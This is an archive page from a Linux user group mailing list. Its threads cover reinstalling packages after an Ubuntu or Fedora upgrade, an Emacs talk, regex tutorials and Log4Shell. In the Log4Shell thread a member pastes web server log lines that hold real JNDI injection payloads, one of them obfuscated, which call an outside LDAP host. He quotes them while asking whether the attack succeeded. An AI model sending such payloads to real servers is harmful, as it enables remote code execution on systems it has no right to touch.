at 3:47 PM gmcaplan--- via WLUG >> >> <wlug(a)lists.wlug.org> wrote: >> >> >> >> I was hoping to attend, but it looks like I will not be able to. >> >> I hope it will be recorded because I, too, would like to learn >> >> about >> >> emacs. >> >> Also, I have two questions: >> >> 1. I am running Ubuntu 18.04 LTS. When I update to ver. 20 or 22, >> >> I >> >> would prefer to do a "clean" re-install, but I have a question. >> >> Does >> >> that mean I must get a list of all my installed software and >> >> re-install >> >> them one at a time after I upgrade the OS? If so, is there an >> >> easy way >> >> for me to get the list? > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/Z5ONM… >

Jan. 16, 2022

Re: clean Linux install while keeping the same packages installed as before

by Joshua Stone

I'm hoping it'll get easier to back up and upgrade OS installs with the advances in containerized runtimes like flatpak and podman/distrobox, and immutable distros like Silverblue. For example, I can back up application installs from: /var/lib/flatpak Optionally I can store just the list of names and re-install them later: $ flatpak list --system --app --columns=application --ostree-verbose > apps.txt $ cat apps.txt com.bitwig.BitwigStudio com.discordapp.Discord com.github.k4zmu2a.spacecadetpinball com.github.tchx84.Flatseal com.github.wwmm.easyeffects com.mojang.Minecraft com.obsproject.Studio com.spotify.Client io.mgba.mGBA md.obsidian.Obsidian org.chromium.Chromium org.gimp.GIMP .. .. org.kde.krita org.keepassxc.KeePassXC org.libreoffice.LibreOffice org.mozilla.firefox org.signal.Signal org.videolan.VLC org.x.Warpinator us.zoom.Zoom And -- more importantly -- user data can be backed up from: ~/.var/app Silverblue also seems to handle updates/upgrades very well as none of the updates apply to the running system. It also makes a clear distinction between OS and application by relying on flatpaks and toolbox as the primary means of application management. This is definitely a significant change from the familiar package model, but it's one that I think has merit. I'm excited to see these technologies mature and become more integral to modern Linux distros! - Josh On Fri, Jan 14, 2022 at 9:08 AM Chuck Anderson via WLUG <wlug(a)lists.wlug.org> wrote: > I'm more familiar with Fedora where I do something like this. It > should be possible to do the same in Ubuntu with the appropriate > apt-get commands. > > 1. List all packages with their names only (no versions) on both the > old system and newly installed system, assuming the new system is > booted and the old system is mounted at /mnt/oldroot. > Alternatively, do the first command (without the --root parameter) > when booted to the old version and save the file somewhere: > > rpm -qa --qf='%{name}\n' --root=/mnt/oldroot | sort -u > old-pkglist.txt > rpm -qa --qf='%{name}\n' | sort -u > new-pkglist.txt > > > 2. Compare the files and save that output: > > diff -b -U0 {old,new}-pkglist.txt > old-new-diff.txt > grep ^- old-new-diff.txt | cut -c2- > missing-from-new.txt > grep ^+ old-new-diff.txt | cut -c2- > only-in-new.txt > > 3. Now go through the list and install what you want. I usually do > this step manually rather than using some automated script, since > there are many changes I don't necessarily want, such as shared > libraries. All I really care about is applications/commands/utilities. > I go through the lists, reading the diff in one window and installing > stuff I want in another: > > dnf install a b c d ... > > and/or this which installs a package and all of its subpackages > except development and debug subpackages. This is great when a > package has a bunch of plugins I want: > > dnf --exclude='*devel*' --exclude='*debug*' install foo-\* ... > > Or you could curate the list, e.g. edit missing-from-new.txt > keeping only the lines you care about, then automatically install > everything that is in the curated list: > > cat missing-from-new-curated.txt | xargs dnf -y install > > > >> On Thu, Jan 13, 2022 at 3:47 PM gmcaplan--- via WLUG > > >> <wlug(a)lists.wlug.org> wrote: > > >> > > >> I was hoping to attend, but it looks like I will not be able to. > > >> I hope it will be recorded because I, too, would like to learn > about > > >> emacs. > > >> Also, I have two questions: > > >> 1. I am running Ubuntu 18.04 LTS. When I update to ver. 20 or 22, > I > > >> would prefer to do a "clean" re-install, but I have a question. > Does > > >> that mean I must get a list of all my installed software and > > >> re-install > > >> them one at a time after I upgrade the OS? If so, is there an > > >> easy way > > >> for me to get the list? > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/Z5ONM… >

Jan. 16, 2022

Re: Great meeting last night!

by Michael Voorhis

Sorry -- are we supposed to know what the WLUG youtube account-name is? How it is to be found, etc? I looked around a bit. I looked on youtube, I looked on wlug.org. Maybe (probably?) I'm blind but I didn't find anything. --MCV. On 1/14/22 11:20, Tim Keller via WLUG wrote: > trim it down a bit and upload the video to the wlug youtube account

Jan. 15, 2022

Re: linux.conf.au

by Lexi Haley

Just one followup - the first keynote was Brian Kernighan giving a talk: *"The early days of Unix at Bell Labs"* I found it interesting; LCA posted it to their youTube channel: https://youtu.be/ECCr_KFl41E?list=RDCMUCciKHCG06rnq31toLTfAiyw Lexi On Thu, Jan 13, 2022 at 4:37 PM Lexi Haley <ahaley42(a)gmail.com> wrote: > This is random and literally last minute, but it's day one of > Linux.Conf.Au - anyone else virtually attending any sessions? > > https://linux.conf.au/ > > Lexi >

Jan. 15, 2022

Re: Great meeting last night!

by Keith Wright

Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > The meeting last night was amazing I mentioned at one point that I have a cartoon of an emacs user at work. I put it up on the web server: http://www.free-comp-shop.com/wlug/index.html -- Keith

Jan. 15, 2022

Re: Great meeting last night!

by John Stoffel

Tim> The meeting last night was amazing and Kalman showed us was a Tim> power emacs users looks like. It was a really fun meeting, and I enjoyed meeting Kalman and learning even more about emacs (as I write this using emacs...) and the power it provides. But I still think training my pinkie to use Ctrl/Meta down at the spacebar level, instead of on the home row is going to be hard to accomplish! Tim> I've downloaded the video, I'm going to trim it down a bit and Tim> upload the video to the wlug youtube account. Once it's uploaded Tim> I'll send out the link. Cool.

Jan. 14, 2022

Great meeting last night!

by Tim Keller

Hey Everybody, The meeting last night was amazing and Kalman showed us was a power emacs users looks like. I've downloaded the video, I'm going to trim it down a bit and upload the video to the wlug youtube account. Once it's uploaded I'll send out the link. Thanks, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Jan. 14, 2022

clean Linux install while keeping the same packages installed as before

by Chuck Anderson

I'm more familiar with Fedora where I do something like this. It should be possible to do the same in Ubuntu with the appropriate apt-get commands. 1. List all packages with their names only (no versions) on both the old system and newly installed system, assuming the new system is booted and the old system is mounted at /mnt/oldroot. Alternatively, do the first command (without the --root parameter) when booted to the old version and save the file somewhere: rpm -qa --qf='%{name}\n' --root=/mnt/oldroot | sort -u > old-pkglist.txt rpm -qa --qf='%{name}\n' | sort -u > new-pkglist.txt 2. Compare the files and save that output: diff -b -U0 {old,new}-pkglist.txt > old-new-diff.txt grep ^- old-new-diff.txt | cut -c2- > missing-from-new.txt grep ^+ old-new-diff.txt | cut -c2- > only-in-new.txt 3. Now go through the list and install what you want. I usually do this step manually rather than using some automated script, since there are many changes I don't necessarily want, such as shared libraries. All I really care about is applications/commands/utilities. I go through the lists, reading the diff in one window and installing stuff I want in another: dnf install a b c d ... and/or this which installs a package and all of its subpackages except development and debug subpackages. This is great when a package has a bunch of plugins I want: dnf --exclude='*devel*' --exclude='*debug*' install foo-\* ... Or you could curate the list, e.g. edit missing-from-new.txt keeping only the lines you care about, then automatically install everything that is in the curated list: cat missing-from-new-curated.txt | xargs dnf -y install > >> On Thu, Jan 13, 2022 at 3:47 PM gmcaplan--- via WLUG > >> <wlug(a)lists.wlug.org> wrote: > >> > >> I was hoping to attend, but it looks like I will not be able to. > >> I hope it will be recorded because I, too, would like to learn about > >> emacs. > >> Also, I have two questions: > >> 1. I am running Ubuntu 18.04 LTS. When I update to ver. 20 or 22, I > >> would prefer to do a "clean" re-install, but I have a question. Does > >> that mean I must get a list of all my installed software and > >> re-install > >> them one at a time after I upgrade the OS? If so, is there an > >> easy way > >> for me to get the list?

Jan. 14, 2022

Re: Reminder: Virtual Meeting today at 7PM Topic: Emacs awesomeness.

by Chris Thompson

Hello! I'd like to offer a couple notes regarding your upgrade. `apt list --list` may list more than what you've installed explicitly. It will include the packages installed by default in the system (/var/log/installer/initial-status.gz) as well as all the dependencies of packages you've installed. Anyway - that makes for a useful complete list, certainly, but you can generally work from a much smaller list. I think the list you may want comes from `apt-mark showmanual` to list packages you've specifically installed. All this said, https://askubuntu.com/questions/1383951/apt-mark-showmanual-shows-almost-al… seems to indicate that results based on manual installation flags can be problematic before 20.04, so YMMV (though you can exclude from your list based on the initial-status file above as well). While you can do a bash loop and install the packages that way, you can also list a whole bunch on a single run, e.g. `apt install x y z q`. If you are adding >1000 packages, you're likely to run into a limitation doing it that way, but just mentioning - it'd be a little bit quicker (being able to skip identifying packages already installed via others, and running triggers fewer times, etc). Not that it matters all that much, but if you did come up with a list of just 50-100 you need, it's be a reasonable approach. Note that there are changes between the packages in different versions of the OS. Some packages may no longer be available, having been abandoned, and others may be substituted with different packages and so on. While these suggestions will get you close, it may not quite be perfect. If you did opt for an upgrade instead (which works very well in my experience) such changes will often be pointed out to you and/or accommodated for automatically. Finally, don't forget to check for any additional sources you may have added in `/etc/apt/sources*` Regards, Chris On 1/13/22 17:59, gmcaplan--- via WLUG wrote: > Thank you. The Ubuntu info is concise, understandable, and helpful ... > a great combination. > > George > > On 2022-01-13 3:56 pm, Tim Keller via WLUG wrote: > >> To your first question, you can get your list of installed packages >> on Ubuntu by running "apt list --installed" and piping that to a file >> and copying that off somewhere safe. You'll likely have to strip that >> file a bit. >> Then once you've got that file, on your cleanly installed system you >> can enumerate over that file with a bash for loop and call "apt >> install /package/" >> To your second question, I'm sure we've got an R nerd around here.. >> Tim. >> >> On Thu, Jan 13, 2022 at 3:47 PM gmcaplan--- via WLUG >> <wlug(a)lists.wlug.org> wrote: >> >> I was hoping to attend, but it looks like I will not be able to. >> I hope it will be recorded because I, too, would like to learn about >> emacs. >> Also, I have two questions: >> 1. I am running Ubuntu 18.04 LTS. When I update to ver. 20 or 22, I >> would prefer to do a "clean" re-install, but I have a question. Does >> that mean I must get a list of all my installed software and >> re-install >> them one at a time after I upgrade the OS? If so, is there an >> easy way >> for me to get the list? >> >> 2. I have been learning to use the software language R. I have a >> couple >> of questions and I would like to hear from anyone who has R >> experience. >> >> Thank You. >> >> George Caplan >> email: gmcaplan(a)gmcaplan.org >> >> >> On 2022-01-13 1:12 pm, Michael Voorhis via WLUG wrote: >> > On 1/13/22 12:58, Tim Keller via WLUG wrote: >> >> Today he's going to show off some of his emacs foo. >> > >> > Will the talk be recorded? I'd love to hear the talk but can't >> attend >> > because of a conflict. >> > >> > --MCV. >> > _______________________________________________ >> > WLUG mailing list -- wlug(a)lists.wlug.org >> > To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> > Create Account: https://wlug.mailman3.com/accounts/signup/ >> > Change Settings: >> > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> > Web Forum/Archive: >> > >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/D2QDC… >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/VBG7T… >> >> >> -- >> I am leery of the allegiances of any politician who refers to their >> constituents as "consumers". >> >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/HTDBB… > > _______________________________________________ > WLUG mailing list --wlug(a)lists.wlug.org > To unsubscribe send an email towlug-leave(a)lists.wlug.org > Create Account:https://wlug.mailman3.com/accounts/signup/ > Change Settings:https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive:https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org…

Jan. 13, 2022

Re: Reminder: Virtual Meeting today at 7PM Topic: Emacs awesomeness.

by gmcaplan＠gmcaplan.org

Thank you. The Ubuntu info is concise, understandable, and helpful ... a great combination. George On 2022-01-13 3:56 pm, Tim Keller via WLUG wrote: > To your first question, you can get your list of installed packages on > Ubuntu by running "apt list --installed" and piping that to a file and > copying that off somewhere safe. You'll likely have to strip that file > a bit. > Then once you've got that file, on your cleanly installed system you > can enumerate over that file with a bash for loop and call "apt install > _package_" > > To your second question, I'm sure we've got an R nerd around here.. > > Tim. > > On Thu, Jan 13, 2022 at 3:47 PM gmcaplan--- via WLUG > <wlug(a)lists.wlug.org> wrote: > >> I was hoping to attend, but it looks like I will not be able to. >> I hope it will be recorded because I, too, would like to learn about >> emacs. >> Also, I have two questions: >> 1. I am running Ubuntu 18.04 LTS. When I update to ver. 20 or 22, I >> would prefer to do a "clean" re-install, but I have a question. Does >> that mean I must get a list of all my installed software and >> re-install >> them one at a time after I upgrade the OS? If so, is there an easy way >> for me to get the list? >> >> 2. I have been learning to use the software language R. I have a >> couple >> of questions and I would like to hear from anyone who has R >> experience. >> >> Thank You. >> >> George Caplan >> email: gmcaplan(a)gmcaplan.org >> >> On 2022-01-13 1:12 pm, Michael Voorhis via WLUG wrote: >>> On 1/13/22 12:58, Tim Keller via WLUG wrote: >>>> Today he's going to show off some of his emacs foo. >>> >>> Will the talk be recorded? I'd love to hear the talk but can't >>> attend >>> because of a conflict. >>> >>> --MCV. >>> _______________________________________________ >>> WLUG mailing list -- wlug(a)lists.wlug.org >>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>> Change Settings: >>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>> Web Forum/Archive: >>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/D2QDC… >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/VBG7T… > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/HTDBB…

Jan. 13, 2022

"apt list --installed" ... even has chrome on Mint...and other raves

by Doug Mildram

Hi from doug in Maine ...former WPI netops geek, before that a *NIX admin back to when Vax and Sparc were corporate choices (I guess I've gotten over pining for BSD variants). I supported many emacs geeks (sw/hw developers) then, but never adopted emacs in my pea brain. I guess I preferred vi's stupid modes and ESC and ":" , over CTRL-everything? in emacs. Or maybe I got bit by a macro as a child. For some ancient emacs lore...its security hole Way Back Then is lovingly(ha) mentioned in Clifford Stoll's awesome/fun? book "The Cuckoo's Egg". Just to get root, back then. Access via hopping thru dialup 1200baud modems, and a world where security was off-radar to the engineers owning systems. Even MilNet systems. What fun ! Dumb hacker paradise! One fun line from below: What do you feed a Trojan horse ? Oooh, found a 52-page scan of the book at http://nationalsecurity.gmu.edu/wp-content/uploads/2020/12/Cuckoos-Egg-Read… But as always, I ramble. George: Great question. I "(d)evolved" into a dumb linux Mint user (a great Ubuntu-based distro ..though you gotta choose, Cinnamon,MATE,Xfce. I chose Mate, 20.1 is stable. I forget the why's, but I know it's good with a few beloved windows keyb tricks like ALT-TAB). As a sysadmin responsible for reloading/building systems, I had to fret packages once, .....obviously this was the cat's meow compared to rebuilding from sources and "make". I remember studying our typical < 1000 RedHat packages and feeling like I knew what most of them were. Now I've got > 2000 on Mint, and barely recognize half of them. Today for fun (Thanks Tim), I looked to see... if the one thing I recall needing to install off-package a few years ago = "chrome" showed up in either my sudo logs (nope) or package list. Chrome got into Mint's distros. So my "apt list --installed" output (3mo old desktop load) shows 2028 packages having chosen the "want 3rd party stuff?" install question...so wonderful..so I have both emacsen-common/focal,focal,now 3.0.4 all [installed] and google-chrome-stable/now 91.0.4472.77-1 amd64 [installed,upgradable to: 97.0.4692.71-1] From cmd line, google-chrome (I no longer need on Final side track, I remember years ago saying "amazing...YouTube just works out of box!". Final backtrack...wonder what emacsen-common has, since if I try to launch "emacs" I get Command 'emacs' not found, but can be installed with: sudo apt install e3 # version 1:2.71-2, or sudo apt install emacs-gtk # version 1:26.3+1-1ubuntu2 sudo apt install emacs-lucid # version 1:26.3+1-1ubuntu2 sudo apt install emacs-nox # version 1:26.3+1-1ubuntu2 sudo apt install jove # version 4.17.2.7-1 Pardon my endless rant, hope it doesn't sidetrack today/tonite. I'll be fascinated to see what a recorded session looks like...with chat/comments?

Jan. 13, 2022

linux.conf.au

by Lexi Haley

This is random and literally last minute, but it's day one of Linux.Conf.Au - anyone else virtually attending any sessions? https://linux.conf.au/ Lexi

Jan. 13, 2022

Re: Reminder: Virtual Meeting today at 7PM Topic: Emacs awesomeness.

by Tim Keller

To your first question, you can get your list of installed packages on Ubuntu by running "apt list --installed" and piping that to a file and copying that off somewhere safe. You'll likely have to strip that file a bit. Then once you've got that file, on your cleanly installed system you can enumerate over that file with a bash for loop and call "apt install *package*" To your second question, I'm sure we've got an R nerd around here.. Tim. On Thu, Jan 13, 2022 at 3:47 PM gmcaplan--- via WLUG <wlug(a)lists.wlug.org> wrote: > I was hoping to attend, but it looks like I will not be able to. > I hope it will be recorded because I, too, would like to learn about > emacs. > Also, I have two questions: > 1. I am running Ubuntu 18.04 LTS. When I update to ver. 20 or 22, I > would prefer to do a "clean" re-install, but I have a question. Does > that mean I must get a list of all my installed software and re-install > them one at a time after I upgrade the OS? If so, is there an easy way > for me to get the list? > > 2. I have been learning to use the software language R. I have a couple > of questions and I would like to hear from anyone who has R experience. > > Thank You. > > George Caplan > email: gmcaplan(a)gmcaplan.org > > > On 2022-01-13 1:12 pm, Michael Voorhis via WLUG wrote: > > On 1/13/22 12:58, Tim Keller via WLUG wrote: > >> Today he's going to show off some of his emacs foo. > > > > Will the talk be recorded? I'd love to hear the talk but can't attend > > because of a conflict. > > > > --MCV. > > _______________________________________________ > > WLUG mailing list -- wlug(a)lists.wlug.org > > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > > Create Account: https://wlug.mailman3.com/accounts/signup/ > > Change Settings: > > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > > Web Forum/Archive: > > > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/D2QDC… > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/VBG7T… > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Jan. 13, 2022

Re: Reminder: Virtual Meeting today at 7PM Topic: Emacs awesomeness.

by gmcaplan＠gmcaplan.org

I was hoping to attend, but it looks like I will not be able to. I hope it will be recorded because I, too, would like to learn about emacs. Also, I have two questions: 1. I am running Ubuntu 18.04 LTS. When I update to ver. 20 or 22, I would prefer to do a "clean" re-install, but I have a question. Does that mean I must get a list of all my installed software and re-install them one at a time after I upgrade the OS? If so, is there an easy way for me to get the list? 2. I have been learning to use the software language R. I have a couple of questions and I would like to hear from anyone who has R experience. Thank You. George Caplan email: gmcaplan(a)gmcaplan.org On 2022-01-13 1:12 pm, Michael Voorhis via WLUG wrote: > On 1/13/22 12:58, Tim Keller via WLUG wrote: >> Today he's going to show off some of his emacs foo. > > Will the talk be recorded? I'd love to hear the talk but can't attend > because of a conflict. > > --MCV. > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/D2QDC…

Jan. 13, 2022

Re: Reminder: Virtual Meeting today at 7PM Topic: Emacs awesomeness.

by Tim Keller

There is a record button in Jitsi, I can definitely record it! On Thu, Jan 13, 2022 at 1:13 PM Michael Voorhis via WLUG < wlug(a)lists.wlug.org> wrote: > On 1/13/22 12:58, Tim Keller via WLUG wrote: > > Today he's going to show off some of his emacs foo. > > Will the talk be recorded? I'd love to hear the talk but can't attend > because of a conflict. > > --MCV. > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/D2QDC… > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Jan. 13, 2022

Re: Reminder: Virtual Meeting today at 7PM Topic: Emacs awesomeness.

by Michael Voorhis

On 1/13/22 12:58, Tim Keller via WLUG wrote: > Today he's going to show off some of his emacs foo. Will the talk be recorded? I'd love to hear the talk but can't attend because of a conflict. --MCV.

Jan. 13, 2022

Reminder: Virtual Meeting today at 7PM Topic: Emacs awesomeness.

by Tim Keller

Hey Gang, This is a reminder we've got a meeting today. The presenter is my co-worker, lisp ninja, emacs badass Kalman. Beyond being a emacs wizard, he's also a mainframe guru, a unix/linux guru and is/was deeply involved in the writing/maintaining of the symbolics lisp operating system. Today he's going to show off some of his emacs foo. If you think emacs is an editor of a bygone era when things were more civilized, kalman will likely not change your mind. However, if you want to take your emacs usage to the next level you'll love this talk. If you're totally not into emacs, that's okay, come along for the ride all the same. Expect the usual banter, tangents and fun. We'll also talk about what we'll want todo for the next meeting. See ya at the meeting! Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Jan. 13, 2022

January 13th 2022 Virtual Meeting! Topic: Using Emacs for fun and pro fit.

by Tim Keller

Hey Gang! We've got a meeting on Thursday! In light of the recent surge in Omicron (I managed to get exposed on NYE) I'm going to make this month's meeting virtual. Hopefully next month we can get back to our regularly scheduled in person meetings! Date/Time: January 13th 2022 @ 7pm! Location: Our virtual meeting place: https://meet.jit.si/WlugMA Topic: Using Emacs for fun and pro fit! Presenter: Kalman Reti This meeting's guest speaker is my amazing co-worker Kalman Reti. If you've never used emacs or used it for years, you'll love this talk. If you hate emacs, well, there's nothing to be said other than to come along and jeer. Kalman is many things, but one of them is a power user of emacs. He's agreed to show off some of his emacs kung fu. In this talk you'll learn some emacs history, likely some lisp and definitely some tricks. Beyond being an emacs guru, he's also a fountain of knowledge of all things unix/linux and beyond! Along the way, I'm sure we'll engage in our usual banter, side tracks and fun. Thanks, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Jan. 10, 2022

Re: Interactive regular expression tutorial

by Eric Martin

I’m a big fan of RegEx golf https://alf.nu/RegexGolf, and there’s more great stuff at Alf.nu as well. Eric > On Jan 6, 2022, at 16:26, Aljerin Butler,Jr. via WLUG <wlug(a)lists.wlug.org> wrote: > > > Here are some more resources on regex that may be useful: > http://customdesktopsolutions.mywebcommunity.org/index.php/linux-system-adm… > > > > > On Thursday, January 6, 2022, 02:16:19 PM EST, kstratton--- via WLUG <wlug(a)lists.wlug.org> wrote: > > > Found this. It might be old news, but I thought it was cool enough to share. > > https://regexone.com > > -- > > kstratton(a)fastmail.us > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DJIHW… > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/3NVFX…

Jan. 7, 2022

Re: Interactive regular expression tutorial

by Aljerin Butler,Jr.

Here are some more resources on regex that may be useful:http://customdesktopsolutions.mywebcommunity.org/index.php/linux-sys… On Thursday, January 6, 2022, 02:16:19 PM EST, kstratton--- via WLUG <wlug(a)lists.wlug.org> wrote: Found this. It might be old news, but I thought it was cool enough to share. https://regexone.com -- kstratton(a)fastmail.us _______________________________________________ WLUG mailing list -- wlug(a)lists.wlug.org To unsubscribe send an email to wlug-leave(a)lists.wlug.org Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DJIHW…

Jan. 6, 2022

Interactive regular expression tutorial

by kstratton＠fastmail.us

Found this. It might be old news, but I thought it was cool enough to share. https://regexone.com -- kstratton(a)fastmail.us

Jan. 6, 2022

Re: Bug in the news

by Joseph G

Here's a good read on log4shell... https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/ and an ongoing list of vendor responses.... https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 It's bound to bring us 'joy' in the holiday season and beyond! Joe

Dec. 15, 2021

Re: Bug in the news

by Charles R. Anderson, Jr.

This might be able to find out if your system has any traces of log4j installed: sudo find / -name '*log4j*' -print If that doesn't output anything, you are most likely safe. ________________________________ From: Chris Thompson via WLUG <wlug(a)lists.wlug.org> Sent: Wednesday, December 15, 2021 3:40 PM To: wlug(a)lists.wlug.org <wlug(a)lists.wlug.org> Cc: Chris Thompson <wolcen(a)riseup.net> Subject: [WLUG] Re: Bug in the news httpd does not use log4j. solr, on the other hand, normally does. ...and Minecraft, if that applies to your server :P ~Chris On 12/15/21 15:26, Keith Wright via WLUG wrote: > Michael Voorhis <mvoorhis(a)mcvau.net> writes: > >> Log4j is a Java logging library. >> If you're running apache and not using Java, >> I don't think you need to be concerned. >> >> See here... >> >> https://en.wikipedia.org/wiki/Log4Shell > Interesting link, thanks for that. > > I don't use Java, but is Apache using it without my knowledge? > > NB: I am a bear of little brain. -- Pooh > I can't. I don't know how it works! -- OZ > > I find in /var/log/httpd/access_log > > 95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] > "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... > ... > "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: > //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... > ... > > So they are trying. How can tell if they succeeded? > > I have "gij" installed (by distro). I didn't know that two hours ago. > > What would break if I just deleted that? > > -- Keith

Dec. 15, 2021

Re: Bug in the news

by Chris Thompson

httpd does not use log4j. solr, on the other hand, normally does. ...and Minecraft, if that applies to your server :P ~Chris On 12/15/21 15:26, Keith Wright via WLUG wrote: > Michael Voorhis <mvoorhis(a)mcvau.net> writes: > >> Log4j is a Java logging library. >> If you're running apache and not using Java, >> I don't think you need to be concerned. >> >> See here... >> >> https://en.wikipedia.org/wiki/Log4Shell > Interesting link, thanks for that. > > I don't use Java, but is Apache using it without my knowledge? > > NB: I am a bear of little brain. -- Pooh > I can't. I don't know how it works! -- OZ > > I find in /var/log/httpd/access_log > > 95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] > "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... > ... > "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: > //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... > ... > > So they are trying. How can tell if they succeeded? > > I have "gij" installed (by distro). I didn't know that two hours ago. > > What would break if I just deleted that? > > -- Keith > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/XJKAR…

Dec. 15, 2021

Re: Bug in the news

by Keith Wright

Michael Voorhis <mvoorhis(a)mcvau.net> writes: > Log4j is a Java logging library. > If you're running apache and not using Java, > I don't think you need to be concerned. > > See here... > > https://en.wikipedia.org/wiki/Log4Shell Interesting link, thanks for that. I don't use Java, but is Apache using it without my knowledge? NB: I am a bear of little brain. -- Pooh I can't. I don't know how it works! -- OZ I find in /var/log/httpd/access_log 95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... ... "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... ... So they are trying. How can tell if they succeeded? I have "gij" installed (by distro). I didn't know that two hours ago. What would break if I just deleted that? -- Keith

